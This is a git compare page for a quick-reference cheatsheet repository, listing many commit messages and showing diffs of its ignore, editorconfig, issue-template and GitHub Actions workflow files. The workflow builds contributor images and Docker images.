Compare commits

...

316 Commits

Author SHA1 Message Date
d1e909fd9f released v1.26.0 2022-11-23 01:50:42 +08:00
20de7a6367 doc: update workflows config. 2022-11-23 01:48:18 +08:00
fc3431f2a7 chore: update workflows config. 2022-11-22 23:45:12 +08:00
a0462db6cb chore: update workflows config. 2022-11-22 23:19:11 +08:00
7feb28b239 doc: update document. 2022-11-22 22:47:47 +08:00
14767b02da website: update create.mjs 2022-11-22 22:47:25 +08:00
de8a0bc0e9 feat: update oracle.md. #63 2022-11-22 22:35:04 +08:00
76c84362ba feat: add oracle.md cheatsheet. #63 2022-11-22 19:50:50 +08:00
49d650694a doc: Update README.md #102 2022-11-22 16:24:23 +08:00
b35e2f10f0 doc: Update README.md 2022-11-22 16:02:07 +08:00
696b09de4e feat: add laravel.md #166 2022-11-22 13:30:48 +08:00
8f76b47096 doc: Update CONTRIBUTING.md #102. 2022-11-22 11:15:41 +08:00
ead5d35f44 website: custom nav menus. #102 2022-11-22 11:05:37 +08:00
aadf975ebf doc: update README.md #102 2022-11-22 10:30:43 +08:00
7a0f32bc43 doc: update README.md #102 2022-11-22 10:06:00 +08:00
b6007c1d3e doc: update README.md #161 2022-11-22 09:52:43 +08:00
f5e45bc723 doc: update styled-components.md 2022-11-22 09:51:51 +08:00
13a6f7f4d5 website: fix search page turning error. #32 2022-11-22 09:35:17 +08:00
8a5153365d released v1.25.0 2022-11-22 00:19:57 +08:00
b41c170b0c website: add search arrow selection. 2022-11-22 00:18:06 +08:00
e0e7636ba4 website: fix windows path issue. #161 2022-11-21 23:43:42 +08:00
8399eafe6e chore: udpate workflows config. 2022-11-21 23:28:07 +08:00
7f7a16f5e1 chore: udpate workflows config. 2022-11-21 23:19:37 +08:00
98a73126d7 chore: udpate workflows config. 2022-11-21 23:12:41 +08:00
f66f93f97e chore: fix scripts issue. 2022-11-21 23:03:32 +08:00
12ca14cee9 test: add workflows config. 2022-11-21 22:54:56 +08:00
e4a0ff20ac doc: update quickreference.md 2022-11-21 22:12:57 +08:00
08f7f0e18a doc: update vue.md #10 2022-11-21 22:06:45 +08:00
80e029fc3b doc: modify README.md. 2022-11-21 13:04:38 +00:00
0f5d2d03e9 doc: modify CONTRIBUTING.md. 2022-11-21 13:04:37 +00:00
f22b15c77d docs: update markdown.md (#163) 2022-11-21 21:03:18 +08:00
afbfcc2285 webite: optimize search result. fix #159 2022-11-21 16:13:20 +08:00
3b3e6f3eb8 doc: fix #160 2022-11-21 16:04:43 +08:00
32af5af854 website: add search enter shortcat key to jump to the page. 2022-11-21 15:59:20 +08:00
c72654c5ab doc: modify README.md. 2022-11-21 07:50:45 +00:00
a43a282f36 doc: modify CONTRIBUTING.md. 2022-11-21 07:50:44 +00:00
2decea91c7 doc: c++ typo & update READMe.md (#158) 2022-11-21 15:49:25 +08:00
9070aa7669 doc(git): update git.md (#156) 2022-11-21 15:07:17 +08:00
a24992709a doc: redhat typo (#157) 2022-11-21 15:06:20 +08:00
e7ef9347d6 doc: update markdown.md 2022-11-21 14:55:14 +08:00
1f73708838 doc: update vue.md #154 #10 2022-11-21 14:38:20 +08:00
849dc045e5 doc: update quickreference.md 2022-11-21 14:37:01 +08:00
4cadbf1096 doc: update vue3 (#154) (#10) 2022-11-21 14:36:08 +08:00
60eada1748 doc: update vue.md #10 2022-11-21 14:14:48 +08:00
b473d99111 fix: fix search error & add name field in data.json #105 2022-11-21 13:56:30 +08:00
05f3df7e04 doc: modify README.md. 2022-11-21 02:30:33 +00:00
0a34a8f5bc doc: modify CONTRIBUTING.md. 2022-11-21 02:30:32 +00:00
1ae50452f5 doc: update cs.md #153 #152 2022-11-21 10:28:58 +08:00
516aed9f11 doc: maybe better translate of cs.md (#152)
* doc: maybe better translate.

Signed-off-by: 秋雨落 <i@rain.cx>

* Update cs.md

Signed-off-by: 秋雨落 <i@rain.cx>
2022-11-21 10:25:12 +08:00
9dcf42e5d7 doc: modify README.md. 2022-11-21 01:52:05 +00:00
d33bb6c7b6 doc: modify CONTRIBUTING.md. 2022-11-21 01:52:04 +00:00
a1f283b55f doc: update nestjs.md #29 2022-11-21 09:50:46 +08:00
0b66ca4b90 docs: add nestjs.md (#151) (#29)
* docs: 添加 'Provide / Inject' 组件传值

* feat: add nestjs.md cheatsheet.
2022-11-21 08:44:25 +08:00
473822f988 website: search input add palceholder. 2022-11-20 19:17:46 +08:00
63adae9cbc doc: update mitmproxy.md #60 2022-11-20 19:05:44 +08:00
46d2f13e70 feat: add mitmproxy.md #60 2022-11-20 18:56:07 +08:00
99fe72ef73 doc: update css.md 2022-11-20 18:14:46 +08:00
3004986d2d doc: update flutter.md #58 #149 2022-11-20 17:24:23 +08:00
0148846d7e doc: update flutter.md #58 #149 2022-11-20 17:19:32 +08:00
68fba8a8ae doc: update flutter.md #58 #149 2022-11-20 16:38:00 +08:00
975888bc92 doc: modify README.md. 2022-11-20 08:07:19 +00:00
558ce4c9eb doc: modify CONTRIBUTING.md. 2022-11-20 08:07:19 +00:00
10e4251f99 doc: update homebrew.md (#150)
添加更多的清理用例以及一些小小的修正
2022-11-20 16:06:20 +08:00
06b26437de docs: add flutter.md (#149)
* docs: update dart.md

* docs: add flutter.md
2022-11-20 16:05:54 +08:00
bf9022c1ea released v1.24.0 2022-11-20 03:42:40 +08:00
79dcdc7379 website: update dark theme issue. 2022-11-20 03:37:25 +08:00
98eae38934 doc: update css.md 2022-11-20 03:28:13 +08:00
3bd4114c63 website: add search feature. #32 2022-11-20 03:28:13 +08:00
9290c65fdc doc: modify README.md. 2022-11-19 18:49:18 +00:00
7e54b5fb74 doc: modify CONTRIBUTING.md. 2022-11-19 18:49:17 +00:00
436e73a3a9 doc: update find.md (#148) 2022-11-20 02:48:17 +08:00
2843f35c9a doc: modify README.md. 2022-11-19 14:24:09 +00:00
33b2fc592b doc: modify CONTRIBUTING.md. 2022-11-19 14:24:08 +00:00
e4444148f1 docs: update dart.md (#147) 2022-11-19 22:22:55 +08:00
fadabde177 doc: modify README.md. 2022-11-19 12:27:18 +00:00
9c4a98b0f2 doc: modify CONTRIBUTING.md. 2022-11-19 12:27:17 +00:00
103fcc7f16 doc: continue to erite lua.md (#143) 2022-11-19 20:26:10 +08:00
dcbd15c567 doc: modify README.md. 2022-11-19 12:25:57 +00:00
8d081123ba doc: modify CONTRIBUTING.md. 2022-11-19 12:25:56 +00:00
094025da3f docs: update vue.md (#144) 2022-11-19 20:25:43 +08:00
b67c2ed842 doc: update dart.md #145 2022-11-19 20:24:36 +08:00
3e1fd804db docs: update dart.md (#145)
* doc: update dart.md

* doc: update dart.md
2022-11-19 20:10:13 +08:00
ff3a5e18ae feat: add openssl.md #141 2022-11-19 15:06:03 +08:00
ffd5dfdaeb doc: update latex.md #47 2022-11-19 12:38:55 +08:00
5fce11220d doc: update latex.md #47 2022-11-19 12:38:55 +08:00
34f9cd8e92 doc: continue to erite lua.md (#142) 2022-11-19 12:21:57 +08:00
0251081948 doc: update latex.md #47 2022-11-19 10:30:14 +08:00
a006acea29 doc: update latex.md #140 2022-11-19 01:23:32 +08:00
5c1a59bee1 doc: update latex.md #140 2022-11-19 00:46:53 +08:00
fd293f17c9 doc: modify README.md. 2022-11-18 16:14:48 +00:00
e0cb6fbc18 doc: modify CONTRIBUTING.md. 2022-11-18 16:14:47 +00:00
6a0eb40af5 doc: update latex.md (#140) 2022-11-19 00:13:40 +08:00
d52cce7e1c doc: update typescript.md. 2022-11-19 00:02:40 +08:00
7ea215d50f doc: update lua.md (#139) (#62) 2022-11-18 23:11:21 +08:00
e0afdef6ec feat: add sysdig.md #113 2022-11-18 21:32:58 +08:00
1bf9bec6f5 doc: update README.md 2022-11-18 18:14:53 +08:00
0b1bcf693a doc: update CONTRIBUTING.md 2022-11-18 18:14:43 +08:00
81271ed70d released v1.23.0 2022-11-18 17:29:34 +08:00
35fbc5a3f1 doc: modify README.md. 2022-11-18 09:24:00 +00:00
882fa91ddc doc: modify CONTRIBUTING.md. 2022-11-18 09:23:59 +00:00
4dfc55800c doc: update lua logo. #133 2022-11-18 17:22:47 +08:00
9858796be6 doc: modify README.md. 2022-11-18 09:18:27 +00:00
3d6cde371a doc: modify CONTRIBUTING.md. 2022-11-18 09:18:27 +00:00
48dc6076aa doc: update tar.md #134 2022-11-18 17:12:45 +08:00
b3a11fcbe0 doc: update css.md 2022-11-18 17:05:48 +08:00
cec3afa139 doc: update pytorch.md #138 2022-11-18 17:05:32 +08:00
78929052b2 doc: update lua.md #133 2022-11-18 16:46:21 +08:00
376b40eb7a doc: modify README.md. 2022-11-18 08:45:56 +00:00
beb534d85e doc: modify CONTRIBUTING.md. 2022-11-18 08:45:56 +00:00
Zyj
29df8a3f72 feat: add pytorch.md (#138) 2022-11-18 16:44:58 +08:00
WHB
7f3a01ab23 doc: Update swift.md (#137) 2022-11-18 16:36:40 +08:00
3ce76d3089 feat: add lua.md (#133)
* doc: write lua.md

* update
2022-11-18 16:36:08 +08:00
0486c9c44b doc: modify README.md. 2022-11-18 08:24:39 +00:00
4b4dd754d1 doc: modify CONTRIBUTING.md. 2022-11-18 08:24:38 +00:00
c0c47f3c3d feat: add tar.md (#134) 2022-11-18 16:23:41 +08:00
7320ba5233 doc: modify README.md. 2022-11-18 08:22:10 +00:00
e5a5c5446e doc: modify CONTRIBUTING.md. 2022-11-18 08:22:10 +00:00
e096c08a2c docs: update vue.md (#136) 2022-11-18 16:21:09 +08:00
8a2a3f798f doc: modify README.md. 2022-11-18 07:44:50 +00:00
dfb0bed531 doc: modify CONTRIBUTING.md. 2022-11-18 07:44:49 +00:00
ad4d13de21 docs: update css.md (#132)
* doc: update css.md

* doc: update css.md
2022-11-18 15:43:38 +08:00
138a70b923 doc: modify README.md. 2022-11-18 07:37:08 +00:00
e313d5e63b doc: modify CONTRIBUTING.md. 2022-11-18 07:37:08 +00:00
dee418763a doc: modify README.md. 2022-11-18 07:36:16 +00:00
c905e30b86 doc: modify CONTRIBUTING.md. 2022-11-18 07:36:15 +00:00
1cddd80c03 docs: update vue.md (#130)
wath--->watch
2022-11-18 15:36:01 +08:00
1ddbc5b984 feat: add apt.md (#131) 2022-11-18 15:35:20 +08:00
fe436e287b doc: update cmd.md. #128 2022-11-18 14:51:52 +08:00
e060d26815 website: fix footer timezone bug (#127) 2022-11-18 14:39:30 +08:00
3846b515b5 feat: add cmd.md (#128) 2022-11-18 14:38:07 +08:00
32a3177738 doc: update vue.md (#126)
* fix: 和[Attribute 绑定]的部分重叠了

* doc: 新增自定义指令

* doc: 新增[响应式样式]

* docs: [入门]部分改为vue3写法

* docs: 新增获取事件对象相关内容

* fix: 删除多余文件

* docs: 新增[组件通信]相关内容
2022-11-18 13:29:59 +08:00
37d647eb67 doc: update vue.md #125 2022-11-18 12:39:34 +08:00
84a545cbf6 chore: update scripts. 2022-11-18 12:33:21 +08:00
4505675c8a doc: modify README.md. 2022-11-18 04:32:28 +00:00
d2cd7d94dd doc: modify CONTRIBUTING.md. 2022-11-18 04:32:27 +00:00
7889b77174 doc: update vue.md (#125)
* fix: 和[Attribute 绑定]的部分重叠了

* doc: 新增自定义指令

* doc: 新增[响应式样式]

* docs: [入门]部分改为vue3写法

* docs: 新增获取事件对象相关内容

* fix: 删除多余文件
2022-11-18 12:31:21 +08:00
9005f760d6 doc: modify README.md. 2022-11-18 03:06:09 +00:00
c9936dd525 doc: modify CONTRIBUTING.md. 2022-11-18 03:06:08 +00:00
128da3f03d doc: update vue.md (#123)
* fix: 和[Attribute 绑定]的部分重叠了

* doc: 新增自定义指令
2022-11-18 11:04:56 +08:00
62b0077745 doc: update vue2.md #122 2022-11-18 10:59:15 +08:00
36be2f4226 doc: modify README.md. 2022-11-18 02:53:40 +00:00
8f0dd77829 doc: modify CONTRIBUTING.md. 2022-11-18 02:53:39 +00:00
03d4aedc3d doc: upate vue2.md (#122)
v-for和v-if不推荐一起使用,效率较低.推荐使用computed计算属性.
当两者一起使用时v-for具有较高的优先级.
2022-11-18 10:52:24 +08:00
176bc1af3b doc: modify README.md. 2022-11-18 01:05:55 +00:00
59224651ad doc: modify CONTRIBUTING.md. 2022-11-18 01:05:55 +00:00
32f09fdf5d docs(ansible): update ansible.md (#121) 2022-11-18 09:04:58 +08:00
7e3810b48f doc: modify README.md. 2022-11-17 15:39:14 +00:00
3152b26478 doc: modify CONTRIBUTING.md. 2022-11-17 15:39:13 +00:00
61c3a6e528 doc: Update dockerfile.md #120 2022-11-17 23:37:42 +08:00
c6ac6dcf11 docs(dockerfile):添加用于减小镜像体积的多阶段构建 (#120) 2022-11-17 23:32:17 +08:00
37903965d1 doc: modify README.md. 2022-11-17 14:41:03 +00:00
51d396c119 doc: modify CONTRIBUTING.md. 2022-11-17 14:41:03 +00:00
b38129c127 doc: Update latex.md 添加希腊和希伯来字母 (#119) 2022-11-17 22:39:59 +08:00
bd82b34331 doc: modify README.md. 2022-11-17 09:42:42 +00:00
7ce13da973 doc: modify CONTRIBUTING.md. 2022-11-17 09:42:42 +00:00
8b48dd97c0 doc: update vue.md (#117) 2022-11-17 17:41:39 +08:00
f9073adf32 doc: update ansible.md (#116) 2022-11-17 17:40:52 +08:00
8c29c45622 doc: modify README.md. 2022-11-17 09:09:34 +00:00
db63c34543 doc: modify CONTRIBUTING.md. 2022-11-17 09:09:33 +00:00
764b55045d website: fix search data error. #105 #32 2022-11-17 17:08:26 +08:00
7479c1045c chore: format search data. #105 #32 2022-11-17 16:53:45 +08:00
dab87fc21b doc: update README.md 2022-11-17 16:34:29 +08:00
3263edca0e docs: add string to json array (#114) 2022-11-17 16:22:41 +08:00
d2b0a34e69 chore: compress search data. #105 #32 2022-11-17 16:01:18 +08:00
b034d7970d website: add search data. #105 2022-11-17 15:58:53 +08:00
599215755f released v1.22.0 2022-11-17 14:06:56 +08:00
bce9b67afb doc: update quickreference.md 2022-11-17 14:05:00 +08:00
50e82b11b6 doc: update git.md 2022-11-17 14:04:41 +08:00
e36abdee8b website: update linenumber style. 2022-11-17 13:58:33 +08:00
7fe648c170 doc: update cpp.md #77 2022-11-17 13:44:11 +08:00
76e8c1bdc6 chore: update issue template. 2022-11-17 13:40:32 +08:00
9fe2674c6c chore: update issue template. 2022-11-17 13:38:31 +08:00
5c8b11767f website: update footer. #102 2022-11-17 13:28:01 +08:00
709aef66fb website: update footer. #102 2022-11-17 13:26:30 +08:00
13e67d63ac doc: modify README.md. 2022-11-17 05:05:24 +00:00
f9a31e40ca doc: modify CONTRIBUTING.md. 2022-11-17 05:05:23 +00:00
effa2500ed doc: Update cs.md #106 2022-11-17 13:04:15 +08:00
1d1f8778dd doc: update git.md #109 2022-11-17 12:30:14 +08:00
74afc52463 doc: Update bash.md 修复部分翻译错误 (#112) 2022-11-17 12:29:44 +08:00
d9ed56a390 doc: Update git.md (#109)
补充.gitignore规则说明和例子
2022-11-17 11:40:16 +08:00
f9461ac0c3 doc: update (#111)
Co-authored-by: 小弟调调™ <kennyiseeyou@gmail.com>
2022-11-17 11:37:30 +08:00
1bda7de8c4 doc: modify README.md. 2022-11-17 03:34:06 +00:00
067e5d6d16 doc: modify CONTRIBUTING.md. 2022-11-17 03:34:05 +00:00
76b1e5b41f doc: update c.md, fix typo (#110) 2022-11-17 11:33:08 +08:00
fe10fbe8bb doc: modify README.md. 2022-11-17 03:17:19 +00:00
2c07547c83 doc: modify CONTRIBUTING.md. 2022-11-17 03:17:18 +00:00
390eaa2e1b doc: change docs/cmake.md (#108)
- add some common commands
2022-11-17 11:17:01 +08:00
d7688f90bb doc: update cs.md (#106) 2022-11-17 11:16:23 +08:00
38453c5e31 doc: 添加 java反射 (#103) 2022-11-17 08:54:47 +08:00
fda783c165 doc: optimize translation in python doc (#104)
Co-authored-by: chyok <ichenhaoyuan@qq.com>
2022-11-17 08:53:13 +08:00
152dc14279 doc: Update README.md 2022-11-16 22:49:35 +08:00
e4d6ddecca doc: Update README.md 2022-11-16 21:39:00 +08:00
51bd7303d1 feat: add cpp.md #77 2022-11-16 20:23:14 +08:00
7d26adb7a6 doc: update npm.md 2022-11-16 16:03:48 +08:00
769d75e8bf doc: modify README.md. 2022-11-16 07:47:29 +00:00
7c6e2270b8 doc: modify CONTRIBUTING.md. 2022-11-16 07:47:28 +00:00
db647aaf35 doc: update npm.md 2022-11-16 15:46:16 +08:00
fbbbd00a9c doc: Update java.md (#100)
Random -> SecureRandom
2022-11-16 14:53:54 +08:00
6f7affffdd doc: modify README.md. 2022-11-16 06:11:00 +00:00
464c49645d doc: modify CONTRIBUTING.md. 2022-11-16 06:10:59 +00:00
c20d19c976 doc: add this and string methods in this js (#99)
* feat: add this and string methods in this js

* Update docs/javascript.md
2022-11-16 14:09:57 +08:00
0f199d2ff5 doc: modify README.md. 2022-11-16 04:58:14 +00:00
57f25fc10a doc: modify CONTRIBUTING.md. 2022-11-16 04:58:14 +00:00
d8a37d084f doc: mysql.md modify column (#98) 2022-11-16 12:57:08 +08:00
03cc3cf5c3 doc: Modified java.md (#96)
Co-authored-by: Pengcc <pcc_pengcc@163.com>
2022-11-16 11:32:48 +08:00
bf49b5f9a5 doc: modify README.md. 2022-11-16 03:18:51 +00:00
adebf47812 doc: modify CONTRIBUTING.md. 2022-11-16 03:18:50 +00:00
f5c9b232b5 doc: udpate npm.md (#94) 2022-11-16 11:17:45 +08:00
d6504023d5 doc: modify README.md. 2022-11-16 03:08:07 +00:00
3bade1d5a5 doc: modify CONTRIBUTING.md. 2022-11-16 03:08:06 +00:00
0ad14d89a0 doc: Update bash.md for a translation error (#92)
关于空间 -> 关于空格
2022-11-16 11:07:01 +08:00
5ee649ae9b doc: udpate typescript.md 2022-11-16 01:41:26 +08:00
ef680890ce feat: add kotlin.md #73 2022-11-15 22:43:20 +08:00
1fda256237 released v1.21.0 2022-11-15 21:23:33 +08:00
f9ca460565 doc: update cron.md 2022-11-15 21:22:45 +08:00
8e265becb5 feat: add cocoapods.md cheatsheet. 2022-11-15 21:12:49 +08:00
e1639d0ce0 doc: update cargo.md #82 2022-11-15 19:59:48 +08:00
f5f05aacf5 doc: modify README.md. 2022-11-15 11:54:33 +00:00
90c80e720e doc: modify CONTRIBUTING.md. 2022-11-15 11:54:32 +00:00
823b3163d4 doc: add cargo test in cargo.md (#82) 2022-11-15 19:53:36 +08:00
fe562e5fb1 doc: modify vue.md. (#81) 2022-11-15 19:00:56 +08:00
85c4149e1c doc: update golang.md #78 2022-11-15 18:12:59 +08:00
e849f19712 doc: update java.md #80 2022-11-15 15:02:37 +08:00
71e5470efd doc: modify README.md. 2022-11-15 06:52:02 +00:00
38d79cd2a0 doc: modify CONTRIBUTING.md. 2022-11-15 06:52:01 +00:00
0e0eb9c628 doc: Update java.md (#80) 2022-11-15 14:50:57 +08:00
7b46142372 doc: update es6.md, add import assertions (#79)
* feat: add import assertions

* update
2022-11-15 14:28:54 +08:00
41b42c17b7 doc: modify README.md. 2022-11-15 05:44:59 +00:00
cfb0b98673 doc: modify CONTRIBUTING.md. 2022-11-15 05:44:58 +00:00
8a9d9de14b feat: update es6.md about private class (#76)
* feat: update es6 about private class

* update
2022-11-15 13:44:01 +08:00
c2cb9fa3d7 doc: modify README.md. 2022-11-15 05:14:59 +00:00
11edef0d1b doc: modify CONTRIBUTING.md. 2022-11-15 05:14:58 +00:00
b13ca7ee0a feat: update vue.md (#75) 2022-11-15 13:14:06 +08:00
5f6029a051 fix: fix typo content in markdown.md (#74) 2022-11-15 11:34:07 +08:00
8592dff419 doc: modify README.md. 2022-11-15 01:48:16 +00:00
bb817cbb40 doc: modify CONTRIBUTING.md. 2022-11-15 01:48:15 +00:00
0bc31c68c3 doc: update rust.md #70 2022-11-15 09:46:55 +08:00
aab4d3bcff doc: modify README.md. 2022-11-15 00:54:30 +00:00
a3ddc58b0a doc: modify CONTRIBUTING.md. 2022-11-15 00:54:30 +00:00
c4398d5220 doc: update typescript.md (#69)
* feat: update typescript

* update
2022-11-15 08:53:28 +08:00
ada64ac643 doc: about rust content (#70) 2022-11-15 08:52:37 +08:00
84876edb2e doc: modify README.md. 2022-11-15 00:52:20 +00:00
0c8dddf8e7 doc: modify CONTRIBUTING.md. 2022-11-15 00:52:20 +00:00
edaf531b50 doc: Update javascript.md (#72)
decodeURI(enc); encodeURI(uri); 注释修正
2022-11-15 08:51:15 +08:00
2200972ce7 feat: add cs.md #66 2022-11-14 23:25:43 +08:00
aaa0f1f523 doc: modify README.md. 2022-11-14 13:58:57 +00:00
465cdc7bc1 doc: modify CONTRIBUTING.md. 2022-11-14 13:58:57 +00:00
c97f6a7bca feat: add julia.md #59 2022-11-14 21:57:57 +08:00
8f980a92c1 doc: update latex.md #47 2022-11-14 21:57:57 +08:00
4f0198877b doc: update npm.md #65 2022-11-14 21:57:57 +08:00
e0ccae5659 doc: update css.md. 2022-11-14 21:57:57 +08:00
c40b5ecb85 style: optimize scrollbars style (#68) 2022-11-14 18:23:02 +08:00
9c3ad5a300 doc: add npx document in npm.md #65 2022-11-14 18:21:04 +08:00
3bac78a4d0 doc: modify CONTRIBUTING.md. 2022-11-13 15:33:10 +00:00
9db2ce1974 chore: update workflows config. 2022-11-13 23:32:13 +08:00
345bb9013d chore: add .gitattributes file. 2022-11-13 23:31:02 +08:00
4eedb2bcbe doc: modify CONTRIBUTING.md. 2022-11-13 15:27:22 +00:00
63739bff97 chore: update workflows config. 2022-11-13 23:26:22 +08:00
a4650ba20b released v1.20.0 2022-11-13 23:25:29 +08:00
304fca65aa feat: add latex.md #47 2022-11-13 23:20:45 +08:00
7dab4bc821 feat: add dart.md #58 2022-11-13 16:19:51 +08:00
a3a03dc5cf doc: add strcut and enum in the rust (#53)
* content: add strcut and enum in the rust

* update

* update
2022-11-13 14:20:13 +08:00
c4027826df doc: modify README.md. 2022-11-13 06:19:40 +00:00
ec5de21ad8 doc: modify CONTRIBUTING.md. 2022-11-13 06:19:39 +00:00
2d29bce40d feat: add php.md #57 2022-11-13 14:18:33 +08:00
45916503c1 doc: update ffmpeg.md #56 2022-11-13 03:53:34 +08:00
7dab833cb5 doc: update quickreference.md. 2022-11-13 03:46:04 +08:00
2787e80dd2 doc: modify README.md. 2022-11-12 18:48:34 +00:00
51377308ab doc: modify CONTRIBUTING.md. 2022-11-12 18:48:34 +00:00
5660ad20dd chore: update contributors. 2022-11-13 02:47:29 +08:00
0917f70be8 doc: add fliter in the ffmpeg (#56) 2022-11-13 00:09:24 +08:00
dcbdaea754 typo: fix typo content in the vim (#52) 2022-11-12 18:01:57 +08:00
144f263ad0 doc: update typescript.md. 2022-11-12 14:28:27 +08:00
ef5a27f5a1 doc: update typescript.md. 2022-11-12 14:26:09 +08:00
82457e896e fix: 修正选择器的真正含义 update css.md (#51) 2022-11-12 12:38:48 +08:00
d796def71c website: update style. 2022-11-12 09:18:22 +08:00
8cb9a8eaa4 doc: update regex.md 2022-11-12 09:17:56 +08:00
739697937d doc: fix error in regex.md 2022-11-12 01:22:29 +08:00
4ce6660ca8 doc: update rust.md #50 #49 2022-11-12 00:53:33 +08:00
5677612d9d doc: add some content in the rust.md (#50) 2022-11-12 00:40:56 +08:00
6d24b1b957 released v1.19.0 2022-11-11 22:53:32 +08:00
72d3bd8d42 doc: update rust.md #48 2022-11-11 17:31:47 +08:00
2d4a9604cf doc: add vec and fix some errors in the rust (#48) 2022-11-11 17:25:02 +08:00
7a22e7cda2 doc: update package.json.md. (#46) 2022-11-11 14:29:17 +08:00
85071d3204 doc: update npm.md 2022-11-11 14:28:31 +08:00
c4694ed832 doc: update package.json.md. (#46) 2022-11-11 13:44:09 +08:00
906cbdd152 doc: add exports in the package.json (#46) 2022-11-11 13:25:07 +08:00
a38f6d8f85 doc: update ffmpeg.md (#18) (#45) 2022-11-11 11:08:00 +08:00
2037e0f6b9 doc: add about ffmpeg's content (#45)
* content: add about ffmpeg's content

* update

* update
2022-11-11 11:00:44 +08:00
bb2cff4f9b chore: update markdownlint config. (#42) 2022-11-11 01:56:28 +08:00
b3c47e2b2d feat: add graphql.md. 2022-11-11 01:53:11 +08:00
5701da6e5b chore: format markdown code. (#42)
* format: fix markdown

* update: fix markdown

* update: fix cron problems

* update: delete .markdownlintignore

* update

* chore: add tab -> 4 space

* chore: fix tab -> 2 in the .editorconfig
2022-11-11 01:51:54 +08:00
ea80136db3 fix: Fix markdown lint command error. (#40 #41) 2022-11-10 13:07:37 +08:00
aa26be4186 chore: fix markdown file automatically (#41)
* update

* update
2022-11-10 12:51:20 +08:00
2b1d33a5db feat: add ruby.md cheatsheet. (#35) 2022-11-10 01:10:23 +08:00
dbf8ac4fb2 chore: solve the use of pnpm not part of the package (#38) 2022-11-09 23:33:40 +08:00
f2f1ef8c52 chore: add the lock file of pnpm and yarn in the .gitignore (#37)
* add the lock file of pnpm and yarn in the .gitignore

* dockerignore
2022-11-09 21:39:24 +08:00
748ed480f4 doc: update systemd.md. 2022-11-09 16:44:52 +08:00
7c2338ea76 website: update style. 2022-11-09 16:24:59 +08:00
90c9fefa51 feat: add systemd.md cheatsheet. (#34) 2022-11-09 15:26:24 +08:00
29f3b971d2 feat: add Tmux.md cheatsheet. (#33) 2022-11-09 14:59:23 +08:00
b2aabe4291 feat: add <red> tag style. 2022-11-09 14:47:22 +08:00
04e6e16a97 doc: update ansible.md (#31) 2022-11-09 11:56:07 +08:00
3db12d6cce doc: update toml.md. 2022-11-09 11:56:07 +08:00
3f0b60187c doc: fix code highlight (#28) 2022-11-09 11:55:55 +08:00
bead2f0e3b doc: update ansible.md (#31)
* update ansible inventory静态分组用法

* Update ansible.md
2022-11-09 11:44:17 +08:00
816f49004f Update ffmpeg.md (#30)
编辑视频剪切部分示例
2022-11-09 11:25:48 +08:00
12b84b8368 doc: Update README.md 2022-11-09 00:40:06 +08:00
56b4b78d7d released v1.18.0 2022-11-09 00:36:52 +08:00
f28c93b918 feat: add jq.md (#27) 2022-11-09 00:26:10 +08:00
0bfe15e4dc feat: add PostgreSQL cheatsheet. (#26) 2022-11-08 14:57:37 +08:00
c1394813bc doc: update README.md (#25) 2022-11-08 13:42:30 +08:00
06c6229cac doc: update css.md. 2022-11-08 11:35:17 +08:00
04dd94d6f8 doc: update cargo.md. 2022-11-08 00:50:27 +08:00
5f19d3feee doc: update ffmpeg.md (#24) 2022-11-07 19:52:29 +08:00
e48fd74c38 doc: update ffmpeg.md. (#24) 2022-11-07 19:50:00 +08:00
159 changed files with 22567 additions and 2433 deletions

View File

@ -4,6 +4,8 @@ docs
scripts
node_modules
package-lock.json
pnpm-lock.yaml
yarn.lock
.DS_Store
.cache

7
.editorconfig Normal file
View File

@ -0,0 +1,7 @@
root = true
[./docs/*.md]
charset = utf-8
indent_style = space
indent_size = 2
insert_final_newline = true

1
.gitattributes vendored Normal file
View File

@ -0,0 +1 @@
*.md linguist-detectable=true

View File

@ -6,13 +6,25 @@ labels: request
assignees: jaywcjlove
---
🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧
注意:请求太多,参考【优先级】快速添加内容
🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧🚧
#### 优先级
- [ ] 提交 PR 优先合并(优先处理)
- [ ] 提供可复制的[中文/英文]备忘清单资料,优先添加
- [ ] 大众化的内容(java/python),优先搬运(小众内容请提供资料)
#### 说明项目
您可以在这里简单的提供一些资料,方便我们在 Quick Reference 中添加您想添加的备忘清单(速查表)。
【请您在这里介绍一下工具或者语言,这很重要】
- [ ] 如果你有一张不错的备忘清单(速查表) [`参考这里`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 为仓库贡献。
- [ ] 如果您不方便贡献,请在下方参考资料中提供链接地址,方便共建备忘清单(速查表)
- [x] 这里为您提供了 Markdown 排版[示例教程](https://jaywcjlove.github.io/reference/docs/quickreference.html)
- 如果你有一张不错的备忘清单(速查表) [`参考这里`](https://github.com/jaywcjlove/reference/blob/main/CONTRIBUTING.md) 为仓库贡献。
- 如果您不方便贡献,请在下方参考资料中提供链接地址,方便共建备忘清单(速查表)
- 这里为您提供了 Markdown 排版[示例教程](https://jaywcjlove.github.io/reference/docs/quickreference.html)
#### 提供参考资料地址

View File

@ -18,11 +18,26 @@ jobs:
- name: Generate Contributors Images
uses: jaywcjlove/github-action-contributors@main
id: contributors
with:
filter-author: (renovate\[bot\]|renovate-bot|dependabot\[bot\])
output: dist/CONTRIBUTORS.svg
avatarSize: 42
- name: Modify CONTRIBUTING.md
uses: jaywcjlove/github-action-modify-file-content@main
with:
path: CONTRIBUTING.md
body: |
${{steps.contributors.outputs.htmlList}}
- name: Modify README.md
uses: jaywcjlove/github-action-modify-file-content@main
with:
path: README.md
body: |
${{steps.contributors.outputs.htmlList}}
- name: Create Tag
id: create_tag
uses: jaywcjlove/create-tag-action@main
@ -78,39 +93,92 @@ jobs:
http://localhost:9667/
```
# Create Docker Image in Github
- name: Login to GitHub registry
run: echo ${{ github.token }} | docker login ghcr.io -u ${{ github.actor }} --password-stdin
- name: Build docker image
run: docker build -t ghcr.io/jaywcjlove/reference:latest .
- name: Publish to GitHub registry
run: docker push ghcr.io/jaywcjlove/reference:latest
- name: Tag docker image (beta) and publish to GitHub registry
if: steps.create_tag.outputs.successful
run: |
echo "version: v${{ steps.changelog.outputs.version }}"
docker tag ghcr.io/jaywcjlove/reference:latest ghcr.io/jaywcjlove/reference:${{steps.changelog.outputs.version}}
docker push ghcr.io/jaywcjlove/reference:${{steps.changelog.outputs.version}}
# Create Docker Image
- name: Docker login
run: docker login -u ${{ secrets.DOCKER_USER }} -p ${{ secrets.DOCKER_PASSWORD }}
- name: Build reference image
run: docker image build -t reference .
- name: Set up Docker Buildx
uses: docker/setup-buildx-action@v2
- name: Login to Docker Hub
